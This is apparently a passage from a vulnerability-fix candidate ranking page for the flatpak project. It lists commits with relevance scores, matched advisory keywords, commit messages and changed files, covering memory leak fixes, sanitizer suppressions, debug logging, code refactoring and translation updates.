      build: Require bubblewrap 0.10.0 This is functionally equivalent to the release candidate. Signed-off-by: Simon McVittie <smcv@collabora.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - meson.build - - subprojects/bubblewrap.wrap - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - tests: Add an address sanitizer suppression file There are two... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 8 -
    - -
    -
    -
    - - Tag: 1.15.10 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - -
    -
    -
    -
    - - - - -
    -
    -
    - 5fc86a865cdcec0903ee526366e02af861d0c856 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: file
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: meson, build
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      tests: Add an address sanitizer suppression file There are two places where we deliberately leak some memory. There are some cases which look like leaks in libostree but it's not impossible that we made a mistake in flatpak. Two other cases seem like issues in flatpak that I couldn't figure out.
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - tests/flatpak-asan.supp - - tests/meson.build - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - tests/build: Add address sanitizer log file path Logging into files... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 8 -
    - -
    -
    -
    - - Tag: 1.15.10 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - -
    -
    -
    -
    - - - - -
    -
    -
    - dad0160eee69466be8450bbf296ade9977d8ff00 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: build, file, require, mean
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: meson, build
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      tests/build: Add address sanitizer log file path Logging into files means we don't mess up the test TAP output and anything that requires a specific format.
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - tests/meson.build - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - utils: Move OstreeRepo configuration accessors to a new translation... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 8 -
    - -
    -
    -
    - - Tag: 1.15.10 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - -
    -
    -
    -
    - - - - -
    -
    -
    - c98a7c024f97331e19d53ca8d3dad9ee93880ef4 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: access, configuration
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: meson, build, update
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      utils: Move OstreeRepo configuration accessors to a new translation unit This is a step towards removing the libostree dependency from flatpak-utils, which should be one of the lowest-level components. Signed-off-by: Simon McVittie <smcv@collabora.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - app/flatpak-builtins-build-update-repo.c - - common/flatpak-repo-utils-private.h - - common/flatpak-repo-utils.c - - common/flatpak-utils-private.h - - common/flatpak-utils.c - - common/meson.build - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - flatpak-permissions: Fix a memory leak This occur by just running... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 8 -
    - -
    -
    -
    - - Tag: 1.15.10 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - -
    -
    -
    -
    - - - - -
    -
    -
    - 92d7f9ec49e2db4ad93040d8e607531791165024 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: permission
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: permission
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      flatpak-permissions: Fix a memory leak This occur by just running flatpak permission <SOME APP> Signed-off-by: Hubert Figuière <hub@figuiere.net>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - app/flatpak-builtins-permission-list.c - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - profile: Install flatpak.csh - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 8 -
    - -
    -
    -
    - - Tag: 1.15.10 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - -
    -
    -
    -
    - - - - -
    -
    -
    - cfb143bfc79bca1da2e584a9ed97ac93a16899b5 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: instal, file
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: meson, build, file
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      profile: Install flatpak.csh
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - profile/meson.build - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update subtree: libglnx 2024-08-23 * Fix function detection when... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - db5f0370209d05d5001bb7af7a01a41e8b6f7858 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: update, avoid, include, backport
      -
    • - -
    • -
      The commit message references some github issue: 5778
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update subtree: libglnx 2024-08-23 * Fix function detection when using -Werror=return-type (Resolves: flatpak/flatpak#5778) * Add a fallback definition for G_PID_FORMAT * Avoid warnings for g_steal_fd() when targeting older GLib * Include <glib-unix.h> from glnx-backports.h Signed-off-by: Simon McVittie <smcv@collabora.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Merge branch 'wip/smcv/glib-unix' into 'master' glnx-backports:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - -
    -
    -
    -
    - - - - -
    -
    -
    - 87f2768fab168ded186bd6b973ad6acf4cd09f8b -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: branch, include, backport
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Merge branch 'wip/smcv/glib-unix' into 'master' glnx-backports: Include `<glib-unix.h>` See merge request GNOME/libglnx!59
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - run: Debug-log the final context for an app This indicates what... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - -
    -
    -
    -
    - - - - -
    -
    -
    - 0101366da4f636a3b1634b99cf04ff5b2f9fe427 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: sandbox, sandboxing
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      run: Debug-log the final context for an app This indicates what sandboxing parameters we are going to be using in the end. Signed-off-by: Simon McVittie <smcv@collabora.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - common/flatpak-run.c - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - dir: When we load overrides, log them as debug messages The more... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - -
    -
    -
    -
    - - - - -
    -
    -
    - dbc6cd91afd23653e1cef024b234b34af525b21b -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: have, intend, user, work
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      dir: When we load overrides, log them as debug messages The more involved parts of this are skipped if debug logging is disabled. This will help to diagnose what is going on when users have added overrides that make their app not work as intended. Signed-off-by: Simon McVittie <smcv@collabora.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - common/flatpak-dir.c - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - context: Add a function to log a FlatpakContext This writes out the... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - -
    -
    -
    -
    - - - - -
    -
    -
    - 9784e5c0edd67d95f6e668099928f5027f85583c -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: write
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      context: Add a function to log a FlatpakContext This writes out the context as a series of debug messages. Signed-off-by: Simon McVittie <smcv@collabora.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - common/flatpak-context-private.h - - common/flatpak-context.c - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - utils: Add flatpak_is_debugging() This can be used to disable code... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - -
    -
    -
    -
    - - - - -
    -
    -
    - 5d62a6d80b01b5c3ada67ddcd469d8c801d4dfca -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: version, code
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      utils: Add flatpak_is_debugging() This can be used to disable code paths that assemble relatively "expensive" debug information when debugging is not enabled. It's activated by `flatpak -v -v`. With a sufficiently modern GLib version, it also activates for `G_MESSAGES_DEBUG=all` or `G_MESSAGES_DEBUG=flatpak`. Signed-off-by: Simon McVittie <smcv@collabora.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - app/flatpak-main.c - - common/flatpak-utils-private.h - - common/flatpak-utils.c - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - run: Use hash tables as sets in the conventional way GLib has... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - -
    -
    -
    -
    - - - - -
    -
    -
    - 73cebfd83c34904944d1e1d0631b102589bb8dee -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: represent, work
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      run: Use hash tables as sets in the conventional way GLib has optimizations for hash tables that are sets (conventionally represented as key == value), and the APIs to work with such hash tables are also slightly nicer, so use them instead of putting an arbitrary constant string in the value. Signed-off-by: Simon McVittie <smcv@collabora.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - common/flatpak-run.c - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Constify arrays of program arguments These are passed to... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - -
    -
    -
    -
    - - - - -
    -
    -
    - 5964b13f1e06ee0e2cf33431d59cb1a855fab61b -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: need
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Constify arrays of program arguments These are passed to non-const-correct APIs which still need a cast, but at least we can declare the array in a way that reduces mistakes. Signed-off-by: Simon McVittie <smcv@collabora.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - revokefs/demo.c - - session-helper/flatpak-session-helper.c - - tests/can-use-fuse.c - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - utils: Be more const-correct For historical reasons C string... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - -
    -
    -
    -
    - - - - -
    -
    -
    - f711ffc0e3c9b0119fec69961ae8a558670752df -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: write, build
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      utils: Be more const-correct For historical reasons C string literals are officially of type `char *`, but if we build with -Wwrite-strings, they are `const char *` as they should be. Signed-off-by: Simon McVittie <smcv@collabora.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - common/flatpak-utils.c - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update translation files for 1.14.10 release Signed-off-by: Simon... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: 1.14.10 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - -
    -
    -
    -
    - - - - -
    -
    -
    - 5a2503f1e8ef94364e3060ec440546cc47af7fa5 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: update, file, release
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update translation files for 1.14.10 release Signed-off-by: Simon McVittie <smcv@collabora.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - po/cs.po - - po/da.po - - po/de.po - - po/en_GB.po - - po/es.po - - po/fr.po - - po/gl.po - - po/hi.po - - po/hr.po - - po/hu.po - - po/id.po - - po/oc.po - - po/pl.po - - po/pt.po - - po/pt_BR.po - - po/ro.po - - po/ru.po - - po/sk.po - - po/sv.po - - po/tr.po - - po/uk.po - - po/zh_CN.po - - po/zh_TW.po - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update translation files for 1.15.10 Signed-off-by: Simon McVittie... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: 1.15.10 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - -
    -
    -
    -
    - - - - -
    -
    -
    - 8b4f523c4f8287d57f1a84a3a8216efe200c5fbf -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: update, file
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update translation files for 1.15.10 Signed-off-by: Simon McVittie <smcv@collabora.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - po/cs.po - - po/da.po - - po/de.po - - po/en_GB.po - - po/es.po - - po/fr.po - - po/gl.po - - po/hi.po - - po/hr.po - - po/hu.po - - po/id.po - - po/ka.po - - po/nl.po - - po/oc.po - - po/pl.po - - po/pt.po - - po/pt_BR.po - - po/ro.po - - po/ru.po - - po/sk.po - - po/sv.po - - po/tr.po - - po/uk.po - - po/zh_CN.po - - po/zh_TW.po - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update NEWS for release candidate (1.15.10 rc1) Signed-off-by: Simon... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: 1.15.10 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - -
    -
    -
    -
    - - - - -
    -
    -
    - f62a83cdae462de15d80c02f12a8468981edc6d5 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: update, release
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update NEWS for release candidate (1.15.10 rc1) Signed-off-by: Simon McVittie <smcv@collabora.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - NEWS - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - oci-authenticator: Unref the GOptionContext when we're done with it - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: 1.15.10 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - -
    -
    -
    -
    - - - - -
    -
    -
    - 4b439ca001a4b1d867e399f2bc9629f972f6142c -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: option
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      oci-authenticator: Unref the GOptionContext when we're done with it
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - oci-authenticator/flatpak-oci-authenticator.c - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - repo-utils: Don't take ownership of the extra data source name Only... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: 1.15.10 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - -
    -
    -
    -
    - - - - -
    -
    -
    - fd5e4064731917ed96c531f3983c10b25e79e57a -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: source, close, point
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      repo-utils: Don't take ownership of the extra data source name Only get a pointer to the name which is valid as long as the input GVariant is valid. Closes: https://github.com/flatpak/flatpak/issues/5883
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - common/flatpak-repo-utils.c - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - dir: Use same mechanism for... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: 1.15.10 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - -
    -
    -
    -
    - - - - -
    -
    -
    - efa48c1c21e4eadf03e3a4bbd944bd85b00f0898 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: default, user, system
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      dir: Use same mechanism for get_system/user_default_base_dir_location Also add the same missing valgrind suppression for the system dir location.
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - common/flatpak-dir.c - - tests/flatpak.supp - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update translation files for release Signed-off-by: Simon McVittie... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: 1.15.10 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - -
    -
    -
    -
    - - - - -
    -
    -
    - b026910d1c18900e9daf07c429f7e901eb1c3f20 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: update, file, release
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update translation files for release Signed-off-by: Simon McVittie <smcv@collabora.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - po/cs.po - - po/da.po - - po/de.po - - po/en_GB.po - - po/es.po - - po/fr.po - - po/gl.po - - po/hi.po - - po/hr.po - - po/hu.po - - po/id.po - - po/ka.po - - po/nl.po - - po/oc.po - - po/pl.po - - po/pt.po - - po/pt_BR.po - - po/ro.po - - po/ru.po - - po/sk.po - - po/sv.po - - po/tr.po - - po/uk.po - - po/zh_CN.po - - po/zh_TW.po - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Prepare v1.15.9 Signed-off-by: Simon McVittie <smcv@collabora.com> - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: 1.15.10 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_FILES - - -
    -
    -
    -
    - - - - -
    -
    -
    - 158958487528620dd4511364d56724781333e8b2 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      An advisory keyword is contained in the changed files: meson, build
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Prepare v1.15.9 Signed-off-by: Simon McVittie <smcv@collabora.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - NEWS - - meson.build - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update ka.po - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: 1.15.10 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - -
    -
    -
    -
    - - - - -
    -
    -
    - 75b21fb23ebdf2045d00aa558c729bcefd78b267 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: update
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update ka.po
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - po/ka.po - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update Brazilian Portuguese translation - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: 1.15.10 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - -
    -
    -
    -
    - - - - -
    -
    -
    - c374ff37de94736225cf860c0b2f33f91ad98d5f -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: update
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update Brazilian Portuguese translation
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - po/pt_BR.po - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - dir: Make sure all parse_ref_file out params are consistently... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: 1.15.10 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - -
    -
    -
    -
    - - - - -
    -
    -
    - 4bf4f32c164f368202df494b96bbfc38fc0daa0e -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: support, commit, avoid, file
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      dir: Make sure all parse_ref_file out params are consistently cleared parse_ref_file() cleared all its out params to NULL, with the exception of collection_id_out. Make sure to clear this one as well to avoid surprises in the future. Fixes commit ae7d96037 that added collection ID support to flatpakref.
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - common/flatpak-dir.c - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - prune: Include flatpak-variant-private.h before its -impl-private.h... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: 1.15.10 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - -
    -
    -
    -
    - - - - -
    -
    -
    - 4add324060ac219eaa575f174f467b900b1f8040 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: include
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      prune: Include flatpak-variant-private.h before its -impl-private.h This ensures that declarations are visible. Signed-off-by: Simon McVittie <smcv@collabora.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - common/flatpak-prune.c - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - utils: Remove unnecessary flatpak-ref-utils-private.h inclusion... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: 1.15.10 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - -
    -
    -
    -
    - - - - -
    -
    -
    - 25d38bab0a486f0f6555cba235ce59ae37cd8d96 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: need, include
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      utils: Remove unnecessary flatpak-ref-utils-private.h inclusion Include flatpak-ref-utils-private.h explicitly in each remaining module that needs it (mostly for FlatpakDecomposed). Signed-off-by: Simon McVittie <smcv@collabora.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - common/flatpak-ref.c - - common/flatpak-run-private.h - - common/flatpak-utils-private.h - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - utils: Move more repository functionality to repo-utils This further... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: 1.15.10 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_FILES - - -
    -
    -
    -
    - - - - -
    -
    -
    - 97cddd6e4832a31bddff753e8f3f783b96642d07 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      An advisory keyword is contained in the changed files: build
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      utils: Move more repository functionality to repo-utils This further reduces circular dependencies: utils no longer has a circular dependency with repo-utils or xml-utils. Signed-off-by: Simon McVittie <smcv@collabora.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - app/flatpak-builtins-build-sign.c - - app/flatpak-builtins-remote-add.c - - common/flatpak-remote.c - - common/flatpak-repo-utils-private.h - - common/flatpak-repo-utils.c - - common/flatpak-utils-private.h - - common/flatpak-utils.c - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - utils: Export flatpak_get_compat_arch() This will allow its caller... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: 1.15.10 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - -
    -
    -
    -
    - - - - -
    -
    -
    - 3271f9c25d63bdf71951f16724e0f079df349744 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: allow
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      utils: Export flatpak_get_compat_arch() This will allow its caller to be moved into repo-utils. Signed-off-by: Simon McVittie <smcv@collabora.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - common/flatpak-utils-private.h - - common/flatpak-utils.c - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - utils: Move more repository functionality into repo-utils... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: 1.15.10 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_FILES - - -
    -
    -
    -
    - - - - -
    -
    -
    - 06970e015f1abeeeecd065c8d36651d319beb5a9 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      An advisory keyword is contained in the changed files: build, file, commit
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      utils: Move more repository functionality into repo-utils Signed-off-by: Simon McVittie <smcv@collabora.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - app/flatpak-builtins-build-bundle.c - - app/flatpak-builtins-build-commit-from.c - - app/flatpak-builtins-build-export.c - - app/flatpak-builtins-build-import-bundle.c - - app/flatpak-builtins-create-usb.c - - common/flatpak-repo-utils-private.h - - common/flatpak-repo-utils.c - - common/flatpak-utils-private.h - - common/flatpak-utils.c - - po/POTFILES.in - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - ref-utils: Move flatpak_get_arch_for_ref() to here The declaration... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: 1.15.10 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - -
    -
    -
    -
    - - - - -
    -
    -
    - 31590889f8900e0385b752ad5837326be42640d4 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: file
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      ref-utils: Move flatpak_get_arch_for_ref() to here The declaration was already in flatpak-ref-utils-private.h. Fixes: 5dae1fc6 "Break out ref helper functions to separate file" Signed-off-by: Simon McVittie <smcv@collabora.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - common/flatpak-ref-utils.c - - common/flatpak-utils.c - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - common: Explicitly include ostree.h where needed A subsequent commit... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: 1.15.10 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - -
    -
    -
    -
    - - - - -
    -
    -
    - 485f6bc5c538f928d2b5bee0f8daca1b9b3cd860 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: commit, need, include
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
